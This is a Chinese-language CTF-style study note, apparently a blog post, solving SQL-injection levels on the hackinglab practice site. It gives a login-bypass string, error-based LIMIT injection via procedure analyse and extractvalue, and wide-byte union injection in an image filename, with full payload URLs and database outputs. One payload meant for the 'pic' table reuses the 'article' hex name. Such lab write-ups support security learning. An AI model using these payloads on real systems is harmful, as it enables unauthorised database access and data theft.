hackinglab补充学习(注入关)

第一关:最简单的SQL注入

Tips题目里有简单提示 通关地址 很简单 帐号:admin'or'1'='1 密码随便 第二题第三题炸了,打不开 第四题limit注入 ##### 第四关:到底能不能回显

小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢? 通关地址

这道题我是去看的wp的,自己不会写. 首先测试的时候发现start参数可以注入而num不可注入,然后limit后面其实还可以接procedure analyse语句来进行报错注入,比如我们使用extractvalue,然后xpath我们写一个sql语句,那么就会报错,但是又由于sql语句得到了执行,所以我们就得到了数据库的信息

首先我们写

1
index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select group\_concat(table\_name) from information\_schema.tables where table\_schema=database()))),1)--+&num=1 

然后报错

1
XPATH syntax error: ':article,user' Warning: mysql\_fetch\_row() expects parameter 1 to be resource, boolean given in sqli5\_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

于是我们知道了有article和user两个表,然后爆列

1
index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select group\_concat(column\_name) from information\_schema.columns where table\_name=0x75736572))),1)--+&num=1
返回了
1
XPATH syntax error: ':id,username,password,lastloginI' Warning: mysql\_fetch\_row() expects parameter 1 to be resource, boolean given in sqli5\_5ba0bba6a6d1b30b956843f757889552/index.php on line 51 

然后我们去password里面,在limit 2,1的时候得到flag

1
index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(select password from user limit 2,1))),1)--+&num=1 返回值为: XPATH syntax error: ':myflagishere' Warning: mysql\_fetch\_row() expects parameter 1 to be resource, boolean given in sqli5\_5ba0bba6a6d1b30b956843f757889552/index.php on line 51

第五关:邂逅

小明今天出门看见了一个漂亮的帅哥和漂亮的美女,于是他写到了他的日记本里。

通关地址

看的wp,第一次见到这种注入方法.

首先源码里面有个链接

注入点在哪呢?在图片名字那里存在注入点,我们访问:http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df'.jpg

获得报错信息: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.jpg'' at line 1
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/myimages1.php on line 18

即存在注入,然后我们orderby查出列数: 得到结果的两次查询

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df'order by 4--+.jpg 没有返回 http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df'order by 5--+.jpg 得到返回: Unknown column '5' in 'order clause'
Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/myimages1.php on line 18

然后用union提取就ok了: 先用1,2,3,4找输出: http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df' union select 1,2,3,4--+.jpg 返回的是3

所以我们继续构造: http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4--+.jpg

得到返回:article,pic

然后我们分别爆出两个表中的列,先报article: http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x61727469636c65),4--+.jpg

获得返回:id,title,content,others

然后同理爆pic: http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x61727469636c65),4--+.jpg

获得返回:id,picname,data,text

然后爆掉article的所有列,没有找到flag相关信息

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df' union select 1,2,(select group_concat(要尝试的列) from article),4--+.jpg

然后我们在pic里面爆的时候: http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df' union select 1,2,(select group_concat(picname) from pic),4--+.jpg

获得返回:dog1.jpg,cat1.jpg,flagishere_askldjfklasjdfl.jpg

发现名字里面有一个flagishere_askldjfklasjdfl.jpg,这个时候直接访问http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg就ok了

而且也可以访问 http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1%df'%20union%20select%201,2,(select data from pic limit 0,1),4--+.jpg

大概是通过picname取data里面的图片的二进制然后生成图片,所以我们才能在picname那里注入?